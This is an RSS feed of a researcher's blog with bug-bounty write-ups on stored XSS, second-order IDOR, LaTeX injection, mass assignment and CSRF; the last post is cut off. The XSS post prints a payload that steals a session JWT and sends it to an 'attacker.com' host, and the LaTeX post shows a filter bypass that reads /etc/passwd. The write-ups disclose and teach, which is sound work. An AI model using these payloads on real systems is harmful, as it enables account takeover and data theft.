<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[KoalaSEC's blog]]></title><description><![CDATA[KoalaSEC's blog]]></description><link>https://blog.koalasec.co</link><generator>RSS for Node</generator><lastBuildDate>Wed, 08 Apr 2026 22:28:57 GMT</lastBuildDate><atom:link href="https://blog.koalasec.co/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Stored XSS leads to Zero-Click Account Takeover]]></title><description><![CDATA[Hey, yolo guys!
Long time no chat! As we already know, bug bounty is a scam (just kidding 🙂). I recently started doing penetration testing for startups in my country. In this case, it was an online marketplace, where I discovered eight security vuln...]]></description><link>https://blog.koalasec.co/stored-xss-leads-to-zero-click-account-takeover</link><guid isPermaLink="true">https://blog.koalasec.co/stored-xss-leads-to-zero-click-account-takeover</guid><category><![CDATA[XSS]]></category><category><![CDATA[JWT]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[account takeover]]></category><dc:creator><![CDATA[Ali Hussainzada]]></dc:creator><pubDate>Sat, 03 Jan 2026 15:28:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759903648236/92470ebc-06e8-4037-b256-668eab432f32.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hey, yolo guys!</p>
<p>Long time no chat! As we already know, bug bounty is a scam (just kidding 🙂). I recently started doing penetration testing for startups in my country. In this case, it was an online marketplace, where I discovered eight security vulnerabilities (you know, you can usually find many bugs in such applications, so nothing too crazy).</p>
<p>I followed an ethical testing process and privately reported findings to the team. In this post, I focus on one of them, a particularly cool and critical vulnerability one.</p>
<h2 id="heading-stored-xss-leads-to-admin-takeover-compromising-the-entire-application">Stored XSS Leads to Admin Takeover, Compromising the Entire Application</h2>
<p>The application allows users to post items for sale. When creating a new ad, users can add a description. which is later displayed inside a <code>&lt;p&gt;</code> tag without proper sanitization. I’m not sure why our developers love doing this — maybe it’s to support markdown or rich text — but please, don’t do this anymore. This design choice often leads to stored Cross-Site Scripting (XSS) vulnerabilities. In this case, it allowed me to inject JavaScript code that executed in the every one’s browser even admins, effectively giving me control over the admin account and the entire application.</p>
<p>So, I clicked on <code>add a new ad</code> and then intercepted the request with Burp Suite, As you can see the <code>description</code> parameter accepts value in &lt;p&gt; tag, here you should think, the app accepts HTML, so lets inject a JavaScript code as well, which what i did here.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767451822114/444ca031-28a3-42d1-ac9c-a040aa97542c.png" alt class="image--center mx-auto" /></p>
<p>I changed the description value <code>&lt;p&gt;</code> to an XSS payload like <code>&lt;img src=x onerror=alert(origin)&gt;</code>, which popped up an alert to show the existence of the vulnerability. I then noticed that the JavaScript code was triggered. Now it was time to escalate this XSS to something impactful.</p>
<h3 id="heading-exploiting-the-xss-and-takeover-admins-account">Exploiting the XSS, and Takeover admin’s account</h3>
<p>Here I observed the application’s <code>HttpOnly</code> cookie flag was set, so we could not steal victims’ cookies to hijack their accounts. However, I noticed the application sends an HTTP request to an API endpoint that generates a JWT used to authenticate further requests. What I needed was to send an HTTP request with the victim’s cookie and forward their JWT to my server.</p>
<p>Something like:</p>
<pre><code class="lang-javascript">GET /api/auth/session HTTP/<span class="hljs-number">1.1</span>
<span class="hljs-attr">Host</span>: site.com
User-Agent: Mozilla/<span class="hljs-number">5.0</span>
<span class="hljs-attr">Accept</span>: application/json
<span class="hljs-attr">Cookie</span>: session_id=abc123xyz456; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
<span class="hljs-attr">Connection</span>: close
</code></pre>
<p>in its response:</p>
<pre><code class="lang-javascript">HTTP/<span class="hljs-number">1.1</span> <span class="hljs-number">200</span> OK
Content-Type: application/json
Content-Length: <span class="hljs-number">312</span>
Cache-Control: no-store
<span class="hljs-attr">Pragma</span>: no-cache

{
  <span class="hljs-string">"user"</span>: {
    <span class="hljs-string">"id"</span>: <span class="hljs-number">42</span>,
    <span class="hljs-string">"email"</span>: <span class="hljs-string">"user@site.com"</span>,
  },
  <span class="hljs-string">"access_token"</span>: <span class="hljs-string">"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjQyLCJlbWFpbCI6InVzZXJAc2l0ZS5jb20iLCJleHAiOjE3MDAwMDAwMDB9.Km4rX0_fake_signature"</span>,
  <span class="hljs-string">"token_type"</span>: <span class="hljs-string">"Bearer"</span>,
  <span class="hljs-string">"expires_in"</span>: <span class="hljs-number">3600</span>
}
</code></pre>
<p>As I said before, the cookie was <code>HttpOnly</code>, but it was also set to <code>SameSite=Lax</code>. As a result, we were able to send requests on behalf of any user with their cookies automatically included. Since an XSS vulnerability was present, we bypassed the same-origin policy and gained access to the response, allowing us to steal users’ JWT tokens.</p>
<p>We could do this with bellow payload:</p>
<pre><code class="lang-javascript">&lt;img src=x onerror=<span class="hljs-string">'var data=\"\";(function(){const e=new XMLHttpRequest();e.open(\"GET\",\"https://site.com/api/auth/session\",true);e.withCredentials=true;e.onreadystatechange=function(){if(e.readyState===4&amp;&amp;e.status===200){data=e.responseText;new Image().src=\"https://attacker.com/?c=\"+btoa(data);}};e.send();})();'</span>&gt;
</code></pre>
<p>It was a minified version. I did this to avoid breaking the JSON format. Below, you can see the JavaScript code in an easy-to-read format. As you can see, it sends a request with cookies included and then sends the response to our server encoded in base64.</p>
<pre><code class="lang-javascript">&lt;img src=x onerror=<span class="hljs-string">'
  var data = "";

  (function () {
    const e = new XMLHttpRequest();
    e.open("GET", "https://site.com/api/auth/session", true);
    e.withCredentials = true;

    e.onreadystatechange = function () {
      if (e.readyState === 4 &amp;&amp; e.status === 200) {
        data = e.responseText;
        new Image().src =
          "https://attacker.com/?c=" + btoa(data);
      }
    };

    e.send();
  })();
'</span>&gt;
</code></pre>
<p>As you can see In the image below I injected my payload and sent the request. After a few seconds I got the admin’s token on my server — completely hacked the admin. It felt like a CTF on Hack The Box :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767452454817/7a4c3ddc-2bd1-480a-96b5-f7b43edd4e1a.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767452590019/ac706ed7-98f7-4828-8b67-590f15572f1a.png" alt class="image--center mx-auto" /></p>
<p>I blurred the admin’s token in the above image to de-identify her . Then I base64‑decoded it and extracted the JWT token, and tried making requests. With admin privileges I could list all users, delete them, edit them, or basically do whatever the application allowed. With this, I compromised the entire application.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759908088684/1db26d6f-f274-43fc-a135-c1770205fd23.png" alt class="image--center mx-auto" /></p>
<p>Here, Listing all registered users in the application.</p>
<p>I hope you liked it, because I really did. It felt a lot like solving a CTF challenge where a bot (acting as an admin) triggers your XSS. In this case, the admin was actively reviewing posts, so my payload executed directly in the admin’s browser.</p>
<p>Until the next one…</p>
<p>Be happy, Be nice !</p>
]]></content:encoded></item><item><title><![CDATA[How a Second-Order IDOR Lets You Delete Other Users’ Posts, Profile Picture, and Cover Photo]]></title><description><![CDATA[Hey Geeks,
It was a cool bug, so let’s skip the formalities and dive straight in.
So, the target was a social media application, pretty standard stuff. Users could upload profile pictures, cover photos, and post images. For obvious confidentiality re...]]></description><link>https://blog.koalasec.co/how-a-second-order-idor-lets-you-delete-other-users-posts-profile-picture-and-cover-photo</link><guid isPermaLink="true">https://blog.koalasec.co/how-a-second-order-idor-lets-you-delete-other-users-posts-profile-picture-and-cover-photo</guid><category><![CDATA[IDOR]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Ali Hussainzada]]></dc:creator><pubDate>Sun, 02 Nov 2025 05:07:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762018244803/543a812d-9059-44f9-9b54-3a27dd805e90.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hey Geeks,</p>
<p>It was a cool bug, so let’s skip the formalities and dive straight in.</p>
<p>So, the target was a social media application, pretty standard stuff. Users could upload profile pictures, cover photos, and post images. For obvious confidentiality reasons, I can’t mention its name.</p>
<p>While testing it, I had already come across a few IDOR vulnerabilities, things like deleting other users’ reviews or removing their “follows” just by swapping a UUID with someone else’s. (If you’re not familiar with IDOR, I’ve explained them in detail in a couple of my earlier blogs — go check those out.)</p>
<p>But when I tried to delete another user’s post this time, the app actually threw a 403 Forbidden error. So I thought, “Okay… maybe they finally fixed it.”</p>
<p>Still, something felt off. I opened my profile panel, changed my profile picture, and started watching the requests closely in my proxy. I noticed when I change my profile picture, two requests were sent which caught my eye:</p>
<ul>
<li><p>The first one uploaded the image to the server and returned an ID (probably a MongoDB ObjectID.)</p>
</li>
<li><p>The second one was a WebSocket request that used that ID to set the image on my profile.</p>
</li>
</ul>
<p>Here are the requests:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762020278875/955a6296-91ca-4970-a9e6-e8683ad7fdc9.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762057208122/9d34f0d9-b834-4250-a3a5-8db6dfbdfc0f.png" alt class="image--center mx-auto" /></p>
<p>As you can see, the image is being uploaded to your profile using the <code>storageId</code> parameter in the WebSocket request.</p>
<p>So, I decided to change that to another user’s <code>storageId</code>.<br />But how could we obtain other users’ storage IDs?</p>
<p>It was actually easy — if we navigated to users’ public profiles, we could easily get their <code>storageId</code>.<br />I got one, and initiated the process again. After replacing my own storage ID with someone else’s, I got <em>their</em> profile picture (haha, funny, right? No?). You might say, “Okay, that’s not really a bug,” — and you’d be right…</p>
<p>But then, when I deleted <strong>my</strong> profile picture, I noticed something surprising — the <strong>victim’s profile picture</strong> was deleted as well! :)</p>
<p>I was like, <em>Wait, what?!</em></p>
<p>Then I realized the same logic applied to the cover photo too. We could change to another user’s storage ID, and when we deleted our own cover photo, the victim’s cover photo would get deleted too.</p>
<p>What makes the vulnerability more severe is that I was able to delete a post’s image using this logic. I’d open the feed and, in the response, see post details ( likes, comments, and so on ) and there was a <code>storageId</code> that referenced the post image. I grabbed that <code>storageId</code>, set it as the image in my profile, then deleted it — and guess what? The post lost its image. hehe :))</p>
<h3 id="heading-root-cause">Root Cause</h3>
<p>I think the root cause is simple: when an image is uploaded, a field is created in the database that holds the <code>storageId</code>. If we replace that field in our profile with someone else’s <code>storageId</code>, both accounts end up pointing to the same file in the database. So when we delete “our” profile picture, the app deletes the file by <code>storageId</code> — but it never verifies that the <code>storageId</code> actually belongs to the account performing the delete. The result: the image is gone for everyone, and we can delete the victim’s profile picture and cover photo too.</p>
<h2 id="heading-fix-not-yet">Fix?: ( Not Yet )</h2>
<p>I reported the bug and it was patched within a few hours, but the fix was loose. The patch only checked whether the image was a cover photo, so you couldn’t set a <code>storageId</code> as your cover photo. I thought “hmm, interesting,” and then bypassed it. I changed my cover photo and set the <code>storageId</code> of someone else’s profile picture; when I deleted my cover, the victim’s profile picture was deleted. I also tried the reverse: set my profile picture to another user’s cover <code>storageId</code>, then deleted my profile picture — the other user’s cover was removed.</p>
<h2 id="heading-fix-not-yet-again">Fix? ( Not Yet again )</h2>
<p>Then the profile and cover photo features changed (their logic and request flow were completely redesigned). There was no second request anymore; everything was handled in a single request!</p>
<p><strong>Butttt!!!</strong></p>
<p>I discovered that users could still edit their posts (both captions and images). So, I created a post, clicked on “Edit,” deleted its image, and intercepted the request. You might think, “Did you change the <code>storageId</code> there?” — but no, man, it didn’t work. Here’s what that request looked like:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762056347973/8cbcbe32-63da-46be-be31-104297e87b6d.png" alt class="image--center mx-auto" /></p>
<p>The bug is <strong>Second-Order IDOR</strong>, so everything had to work <em>secondly</em>. I played with the parameters — changed <code>mustDelete</code> to <code>false</code>, <code>isNew</code> to <code>true</code>, and replaced the <code>storageId</code> with someone else’s post image, profile picture, or cover photo <code>storageId</code> (yes, the flow was different, but they all still used <code>storageId</code>).</p>
<p>I noticed that I could edit my own post and add someone else’s profile picture to it. Now you’re right :) — I deleted my post and observed that the victim’s profile picture was deleted as well! The same worked for cover photos, post images, or basically any image uploaded elsewhere.</p>
<p>I hope you enjoyed my write-up! I think it was a pretty cool bug.<br />Have a good day!</p>
<p><strong>Be Happy, Be Nice!</strong> ✌️</p>
<p><strong>My X:</strong> <a target="_blank" href="https://x.com/ali_4fg">x.com/ali_4fg</a></p>
<p><strong>My LinkedIn:</strong> <a target="_blank" href="https://www.linkedin.com/in/ali-hussainzada">linkedin.com/in/ali-hussainzada</a></p>
]]></content:encoded></item><item><title><![CDATA[From LaTeX Injection to RCE: A Real Bug Bounty Case]]></title><description><![CDATA[Hello Friends
It’s been two months since I took a break from bug bounty hunting. During that time, I graduated from university 🎓, recharged, and now I’m officially back in the game. And guess what? Within just a few days of returning, I landed a cri...]]></description><link>https://blog.koalasec.co/from-latex-injection-to-rce-a-real-bug-bounty-case</link><guid isPermaLink="true">https://blog.koalasec.co/from-latex-injection-to-rce-a-real-bug-bounty-case</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[Web Security]]></category><category><![CDATA[RCE]]></category><category><![CDATA[injection attacks]]></category><dc:creator><![CDATA[Ali Hussainzada]]></dc:creator><pubDate>Mon, 25 Aug 2025 09:28:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754666607562/9100d652-0dfa-4bf3-8bec-f7059af00c82.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello Friends</p>
<p>It’s been two months since I took a break from bug bounty hunting. During that time, I graduated from university 🎓, recharged, and now I’m officially back in the game. And guess what? Within just a few days of returning, I landed a critical find, a Remote Code Execution (RCE) vulnerability.</p>
<p>So, let’s start with the story. I was going through my private list of programs on HackerOne, and one caught my attention. it was a big program with several <code>*.</code><a target="_blank" href="http://domains.com"><code>domains.com</code></a> assets. I decided to dig into that one.</p>
<p>First things first, I ran subfinder to enumerate all the subdomains. While that was running in the background, I switched to some Google dorking, using queries like <code>site:*.</code><a target="_blank" href="http://site.com"><code>site.com</code></a> to find subdomains.</p>
<p>As I checked through them one by one, I noticed one of the subdomains was running <strong>LaTeX</strong>. That immediately piqued my curiosity. For those unfamiliar, LaTeX (pronounced “Lay-tech”) is a document preparation system widely used for creating professional-quality documents, especially those containing mathematical formulas, scientific notation, and complex layouts.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754663501260/06a7b63f-d1c8-49f7-b82d-7266546377ff.png" alt class="image--center mx-auto" /></p>
<p>To be honest, I remembered watching a video from IppSec where he was pwning the Topology box on Hack The Box. In that video, he got a shell through a LaTeX instance. Most of what I did here came from what I learned in that video. When I saw the setup, it felt very similar to that box, so I knew I was on the right path.</p>
<p>While searching online, I came across this GitHub <a target="_blank" href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection">repo</a>. I tried injecting a simple payload like<br /><code>\input{/etc/passwd}</code>, but the application threw an error. So, I went back to the IppSec video, where he talked about a clever bypass, using a unique alternative encoding with double carets (<code>^^</code>) to replace letters. I changed the payload to <code>\in^^70ut{/etc/passwd}</code> and, to my excitement, it worked! The app processed it without error, confirming that the bypass was effective.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754666724281/ceab48f5-de24-43b5-9d1a-9c60849f996f.png" alt class="image--center mx-auto" /></p>
<p>As you can see, the original payload caused an error, but when I used the <code>^^70</code> bypass, it worked perfectly.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754666488343/a8f54b43-cdfb-450f-b82a-b059e27dcb0f.png" alt class="image--center mx-auto" /></p>
<p>Then, I recorded a video proof-of-concept and submitted my report. Unfortunately, the report was later closed as an internal duplicate, and I did not receive any excerpt from the original report.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756111619007/e4c88a11-df69-4b9a-99a9-8eb8253453dd.png" alt class="image--center mx-auto" /></p>
<p>I’m continuing to follow up on the case — the triager has been very responsive and professional. I’ve also submitted a mediation request, so now it’s a waiting game to see whether this will result in a reward.</p>
<p>I hope you have learned something new, I am thankfull of ippsec vids, he is an amazing hacker, i suggest you following his YouTube channel.</p>
<p>Be happy, Be nice :)</p>
<p>Follow me on <a target="_blank" href="https://x.com/ali_4fg">X</a>, and <a target="_blank" href="https://www.linkedin.com/in/ali-hussainzada/">LinkedIn</a></p>
<h2 id="heading-resources">Resources:</h2>
<p>Following links might be helpful:</p>
<ol>
<li><p><a target="_blank" href="https://0day.work/hacking-with-latex/">https://0day.work/hacking-with-latex/</a></p>
</li>
<li><p><a target="_blank" href="https://tex.stackexchange.com/questions/262625/security-latex-injection-hack">https://tex.stackexchange.com/questions/262625/security-latex-injection-hack</a></p>
</li>
<li><p><a target="_blank" href="http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/">http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/</a></p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Hunting Vulnerabilities and Securing MizbanApp: Mass Assignment & IDOR]]></title><description><![CDATA[Intro,
Yo, I hope you’re all doing well!I decided to write a new article once again. The journey of finding these vulnerabilities started when I came across a post about MizbanApp on LinkedIn — an application where you can discover restaurants, cafés...]]></description><link>https://blog.koalasec.co/hunting-vulnerabilities-and-securing-mizbanapp-mass-assignment-and-idor</link><guid isPermaLink="true">https://blog.koalasec.co/hunting-vulnerabilities-and-securing-mizbanapp-mass-assignment-and-idor</guid><category><![CDATA[IDOR]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[Privilege Escalation]]></category><dc:creator><![CDATA[Ali Hussainzada]]></dc:creator><pubDate>Tue, 19 Aug 2025 10:09:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1755584504517/7e5cfb8f-f9f7-4177-b406-9ceedbf6cfbd.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-intro">Intro,</h2>
<p><strong>Yo, I hope you’re all doing well!</strong><br />I decided to write a new article once again. The journey of finding these vulnerabilities started when I came across a post about <strong>MizbanApp</strong> on LinkedIn — an application where you can discover restaurants, cafés, and more. It’s built by Afghan developers for Afghan people, so kudos to them for pushing Afghanistan further into the digital age.</p>
<h2 id="heading-first-vulnerability-becoming-admin">First Vulnerability: Becoming Admin</h2>
<p>As the title implies, I was able to <strong>gain admin access</strong> in the application compromising entire application. The vulnerability that made this possible is known as <strong>Mass Assignment</strong>. In this section, I’ll briefly explain what Mass Assignment is and then walk you through the process of discovering and exploiting it.</p>
<h3 id="heading-what-is-mass-assignment">What is Mass Assignment?</h3>
<p>Mass Assignment is a vulnerability that occurs when an application automatically assigns user-supplied input to internal objects or database fields without proper filtering or restrictions. This can allow an attacker to modify fields they shouldn’t have access to. for example, changing their own role to admin.</p>
<h3 id="heading-discovery-amp-exploitation-mass-assignment-on-mizbanapp">Discovery &amp; Exploitation: Mass Assignment on MizbanApp</h3>
<p>I started by creating an account and logging in. I quickly noticed that the application was still under development, and some features weren’t fully implemented yet. I began mapping the app and navigated to my profile, which simply displayed my information. However, when I intercepted the request, I observed an API call to:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/api/v1/user/profile</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: site.com
</code></pre>
<p>As you can see from the request and response, this API endpoint <strong>loads your profile information</strong>. It returns all the details the application knows about you:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755586330552/270da550-4bc5-4dc5-a56d-10ab1ee80711.png" alt class="image--center mx-auto" /></p>
<p>At this point, I thought to myself — if there’s a route to <strong>show my profile info</strong>, there should probably be a function (HTTP method) or route to <strong>update it as well</strong>. Classic hacker thinking :))</p>
<p>So, I tried changing the HTTP method to <strong>POST</strong>, <strong>PUT</strong>, and <strong>PATCH</strong>, and noticed something interesting. The <strong>PATCH</strong> request returned a different JSON response. To my surprise, it even <strong>leaked my hashed password</strong> and included a field called <code>role: customer</code>. Wow — that was a clear sign that something interesting was happening.</p>
<p>As you can probably guess, I added <code>"role": "admin"</code> to the request body to see if I could actually change my role. And guess what? <strong>Yes!</strong> Surprisingly, it worked — I was able to change my role to <strong>admin</strong> 😎🎉</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755587251319/4fb5cdf6-a8e2-487b-9011-9ea524f59a26.png" alt class="image--center mx-auto" /></p>
<p>After that, I wanted to <strong>prove that this actually worked</strong>. To confirm, I logged out and then logged back in to my account. As shown in the image below, <strong>I was now an admin</strong>, and the <strong>admin dashboard appeared</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755587689747/b7979cb0-3bec-45d7-8ca3-623c76a68360.png" alt class="image--center mx-auto" /></p>
<p>From there, I had full control — I could add, edit, or delete restaurants, manage users, see their feedback, and basically do anything an admin can do. This clearly demonstrated the severity of the Mass Assignment vulnerability.</p>
<h3 id="heading-root-cause-of-mass-assignment">Root Cause of Mass Assignment</h3>
<p>The root cause of this Mass Assignment vulnerability is <strong>insufficient input filtering and improper handling of user-supplied data</strong>. Essentially, the application blindly <strong>accepted fields from the request body</strong> and mapped them directly to database attributes — including sensitive fields like <code>role</code>.</p>
<p>For example, in a <strong>Node.js/Express</strong> app using <strong>Mongoose</strong>, an insecure implementation might look like this:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Insecure code</span>
app.patch(<span class="hljs-string">'/api/v1/user/profile'</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> User.findById(req.user.id);
  <span class="hljs-built_in">Object</span>.assign(user, req.body); <span class="hljs-comment">// blindly assigns all user input</span>
  <span class="hljs-keyword">await</span> user.save();
  res.json(user);
});
</code></pre>
<p>Here, <strong>any field</strong> sent in the request body, including <code>role</code>, will be updated in the database.</p>
<p>A safer approach would be to <strong>whitelist only allowed fields</strong>:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Secure code</span>
app.patch(<span class="hljs-string">'/api/v1/user/profile'</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> User.findById(req.user.id);
  <span class="hljs-keyword">const</span> allowedFields = [<span class="hljs-string">'name'</span>, <span class="hljs-string">'email'</span>]; <span class="hljs-comment">// whitelist only safe fields</span>
  allowedFields.forEach(<span class="hljs-function"><span class="hljs-params">field</span> =&gt;</span> {
    <span class="hljs-keyword">if</span> (req.body[field] !== <span class="hljs-literal">undefined</span>) {
      user[field] = req.body[field];
    }
  });
  <span class="hljs-keyword">await</span> user.save();
  res.json(user);
});
</code></pre>
<p>This ensures that sensitive fields like <code>role</code> <strong>cannot be modified by the user</strong>, preventing Mass Assignment exploits.</p>
<h2 id="heading-second-vulnerability-idor-leading-to-viewing-users-information">Second Vulnerability: IDOR Leading to Viewing Users’ Information</h2>
<p>After discovering the first vulnerability, I shared it with my friend. He was curious and asked me <strong>how to reproduce the Mass Assignment</strong> (we’re both learning). During our chat, he mentioned that there might be an <strong>IDOR vulnerability</strong> in the app as well!</p>
<p>Before diving in, let’s first understand <strong>what IDOR is</strong>.</p>
<h3 id="heading-what-is-idor">What is IDOR?</h3>
<p><strong>IDOR (Insecure Direct Object Reference)</strong> is a vulnerability that occurs when an application <strong>allows users to access objects or data they shouldn’t</strong> just by changing a parameter, like an ID in a URL or request. In simple terms, it’s like giving someone a key to a locker they don’t own — the app fails to check if they’re allowed to access it.</p>
<h3 id="heading-discovery-amp-exploitation-idor-on-mizbanapp">Discovery &amp; Exploitation: IDOR on MizbanApp</h3>
<p>My friend, <strong>Nadir</strong>, mentioned that the application is vulnerable to IDOR and that you could retrieve users’ information using their UUIDs via this API endpoint:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/api/v1/user/UUID</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: site.com
</code></pre>
<p>In addition to the usual <code>/api/v1/user/profile</code> API endpoint. He thought it might not be exploitable because guessing users’ UUIDs would be extremely difficult — they’re long and random.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755590175158/09c06f0e-f997-4d8c-b7cc-8ee2ab36e630.png" alt class="image--center mx-auto" /></p>
<p>But here’s what I thought :), I had mapped the app and realized that users can post reviews on restaurants. By intercepting the responses, I noticed that <strong>users’ UUIDs were actually being leaked along with their reviews</strong>. This made the IDOR vulnerability exploitable after all!</p>
<p>So, I asked <strong>Nadir</strong> to post a review on a restaurant. As you can see in the intercepted response, his <strong>_ID</strong> was leaked along with his name and review.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755590319370/fb37b006-e663-4daf-a55d-d1d3fc831fec.png" alt class="image--center mx-auto" /></p>
<p>By replacing this ID with our own UUID in the API request, I was able to <strong>retrieve Nadir’s full object data</strong>, which included his name, email, role, favorite restaurants, and all his reviews.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755590660047/9139dd57-111c-45e5-b071-4408962ed95c.png" alt class="image--center mx-auto" /></p>
<p>Fields like <strong>email, role, isVerified, favorite restaurants, and favorite dishes</strong> are sensitive and should never be exposed. Yet, in this case, we could access all of this information <strong>simply by changing or obtaining a user’s UUID</strong>. This clearly demonstrates the severity of the IDOR vulnerability in MizbanApp.</p>
<h3 id="heading-root-cause-of-idor">Root Cause of IDOR</h3>
<p>The main reason IDOR occurs is <strong>improper access control</strong>. The application <strong>assumes that if someone knows an object’s ID (like a UUID), they’re allowed to access it</strong>, without actually verifying whether the user has permission. In other words, the server <strong>doesn’t check ownership or roles</strong> before returning sensitive data.</p>
<h3 id="heading-how-to-secure-against-idor">How to Secure Against IDOR</h3>
<p><strong>Verify Ownership / Access Rights</strong><br />Always check that the authenticated user has permission to access the requested object. For example:</p>
<pre><code class="lang-javascript">app.get(<span class="hljs-string">'/api/v1/user/:uuid'</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> User.findOne({ <span class="hljs-attr">uuid</span>: req.params.uuid });

  <span class="hljs-comment">// Ensure the logged-in user is requesting their own data</span>
  <span class="hljs-keyword">if</span> (user.id !== req.user.id) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">403</span>).json({ <span class="hljs-attr">error</span>: <span class="hljs-string">'Access denied'</span> });
  }

  res.json(user);
});
</code></pre>
<h3 id="heading-final-words">Final Words</h3>
<p>I hope this article gave you some insight into how <strong>Mass Assignment</strong> and <strong>IDOR</strong> vulnerabilities work in real-world applications. All of these issues were responsibly reported to the MizbanApp team, who responded <strong>professionally</strong> and promptly <strong>patched the vulnerabilities</strong>.</p>
<p>Security is a shared responsibility — even small mistakes can have big consequences, but with awareness and proper practices, we can make applications safer.<br />Be happy,<br />Be nice,</p>
<h2 id="heading-references">References</h2>
<p><a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html">OWASP cheatsheet for Mass Assignment</a></p>
<p><a target="_blank" href="https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/">What is Mass Assignment</a></p>
<p><a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html">OWASP IDOR</a></p>
]]></content:encoded></item><item><title><![CDATA[Is CSRF Dead? Discovering and Exploiting CSRF vulnerabilities in Modern Web Apps]]></title><description><![CDATA[Hello world!
Wait... I probably shouldn’t say that — this isn’t my first blog post. Never mind.How are you doing, mates? How’s life going?
Let’s get started.
In this article, I want to talk about the CSRF vulnerability, and based on my own findings, ...]]></description><link>https://blog.koalasec.co/is-csrf-dead-discovering-and-exploiting-csrf-vulnerabilities-in-modern-web-apps</link><guid isPermaLink="true">https://blog.koalasec.co/is-csrf-dead-discovering-and-exploiting-csrf-vulnerabilities-in-modern-web-apps</guid><category><![CDATA[csrf]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[webapplication]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Ali Hussainzada]]></dc:creator><pubDate>Fri, 20 Jun 2025 11:46:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1750238785237/80bbf035-d785-4ede-8352-c216fde4a716.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello world!</p>
<p>Wait... I probably shouldn’t say that — this isn’t my first blog post. Never mind.<br />How are you doing, mates? How’s life going?</p>
<p>Let’s get started.</p>
<p>In this article, I want to talk about the <strong>CSRF vulnerability</strong>, and based on my own findings, I can confidently say it’s still alive, even in modern web applications. I’ll walk you through how to discover CSRF in apps that use <code>application/json</code> as their content type, and I’ll also share a trick that makes exploitation much easier.</p>
<p>Specifically, in this article I’ll walk you through:</p>
<ul>
<li><p>A simple <strong>GET request</strong>-based CSRF</p>
</li>
<li><p>A CSRF that works when we change the <strong>Content-Type from JSON to URL-encoded</strong></p>
</li>
<li><p>A CSRF that accepts <strong>JSON body parameters,</strong> while the content-type is text/plain</p>
</li>
</ul>
<h1 id="heading-to-begin-lets-define-what-csrf-actually-is">To begin, let’s define what <strong>CSRF</strong> actually is.</h1>
<p>According to PortSwigger:</p>
<blockquote>
